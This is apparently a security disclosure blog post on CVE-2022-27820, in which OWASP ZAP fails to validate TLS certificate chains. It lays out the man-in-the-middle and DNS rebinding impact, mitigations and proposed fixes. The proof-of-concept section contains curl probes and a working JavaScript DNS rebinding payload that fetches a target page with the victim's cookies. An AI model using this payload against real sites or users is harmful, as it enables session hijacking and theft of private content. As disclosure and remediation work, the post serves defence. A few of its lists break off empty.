/dev/posts/

Lack of X.509 TLS certificate validation in OWASP ZAP

Published:

Updated:

Lack of X.509 TLS certificate validation in OWASP ZAP (Zed Attack Proxy) could be used for man-in-the-middle attacks.

Summary

OWASP ZAP (Zed Attack Proxy) does not verify the certificate chain of the HTTPS servers it connects to. For example, it connects without warning to servers presenting a self-signed certificate, an expired certificate, etc.

This opens up a browser configured to use ZAP as an intercepting proxy to:

  1. man-in-the-middle (MITM) attacks;
  2. DNS rebinding attacks (to HTTPS servers configured as default virtual server).

This is CVE-2022-27820 and bug #7165.

Impact

Man-in-the-middle attack

A user should currently avoid sending sensible information when using a browser through ZAP. In particular, he should avoid connecting using real accounts.

Moreover, the user should avoid using an existing browser profile and always use a dedicated profile in order to avoid getting already existing sessions hijacked by a meddler-in-the-middle (MITM).

DNS rebinding attacks

Moreover, a malicious web site could conduct a DNS rebinding attack on some HTTPS services which are usually not vulnerable to DNS rebinding attacks.

The certificate chain validation usually blocks DNS rebinding against HTTPS sites. However, as this step is disabled when using ZAP as an intercepting proxy, any HTTPS site which is configured as the default virtual host ends up being vulnerable to DNS rebinding attacks.

The attacker could use the user browser to try to attack such a vulnerable site while hiding behing the IP address of the ZAP user. For example, he could try to:

Another interesting approach would be to attacks HTTPS services hosted in the user internal network, possibly bypassing firewalls, WAFs, etc.

Mitigations

A possible mitigation would be to place another intercepting TLS proxy (featuring certificate chain validation) after ZAP.

Proof-of-concept

We can detect that a server is a default virtual host by comparing the output of these commands:

# Normal request:
curl https://foo.example.com/

# Request with bogus SNI and Host HTTP header:
curl -k https://foo/ --connect-to foo:443:foo.example.com:443 -H"Host: foo"

We can now use such as JavaScript code to demonstrate a simple DNS rebinding attack on the service:

// <script>
function sleep(t) {
    return new Promise((resolve, reject) => {
        setTimeout(resolve, t);
    });
}
async function main() {
    let i = 0;
    while (1) {
        try {
            await sleep(1000);
            const response = await fetch("/?" + (++i), {
                // Send cookies:
                "credentials": "include",
            });
            if (response.status != 200)
                continue;
            let text = await response.text();
            // Check if we have our own page:
            if (text.includes("5107b058-5054-4982-9bc8-ae092f62eb80"))
                continue;
            document.body.innerText = text;
            return;
        }
        catch(e) {
            console.log(e);
        }
    }
}
main();
// </script>

We can test a DNS rebinding attack by visiting a URI of the form:

https://a.127.0.0.1.1time.192.0.2.42.forever.4a885b7e-4c78-4e0e-a182-58894e0dac7d.rebind.network/

using whonow, where

After some time, we should see the content of the target web site. We can follow up by:

  1. extracting any CSRF token embedded in the page;
  2. send HTTP requests (POST with arbitrary Content-Type, form submitions, etc.).

Resolution

Mirroring the status of the original certificate chain

This could be fixed by using the following behavior by default:

Using this approach, the user would be warned against invalid certificate chains but could choose to ignore the error by using the same procedure he would use without the intercepting proxy.

I believe FortiGate uses a similar approach.

Rejecting invalid certificate chains

Another approach is to refuse (by default) the connection when the certificate chain is invalid. This approach is simpler to implement but not as convenient for the user who cannot easily fix the error from the browser.

For example, when trying to connect to a HTTPS site presenting a self-signed expired certificate, mitmproxy presents a certificate which is accepted by the browser but any HTTP request results in 502 error (Bad Gateway). This HTTP error includes a message explaining the reason of the error such as:

Similarly, Hetty refuses the connection by default when the presented certificate chain is not valid.

Conclusion

If you are not testing a web site under your control on your local network, I would suggest using mitmproxy instead for now.

References

Timeline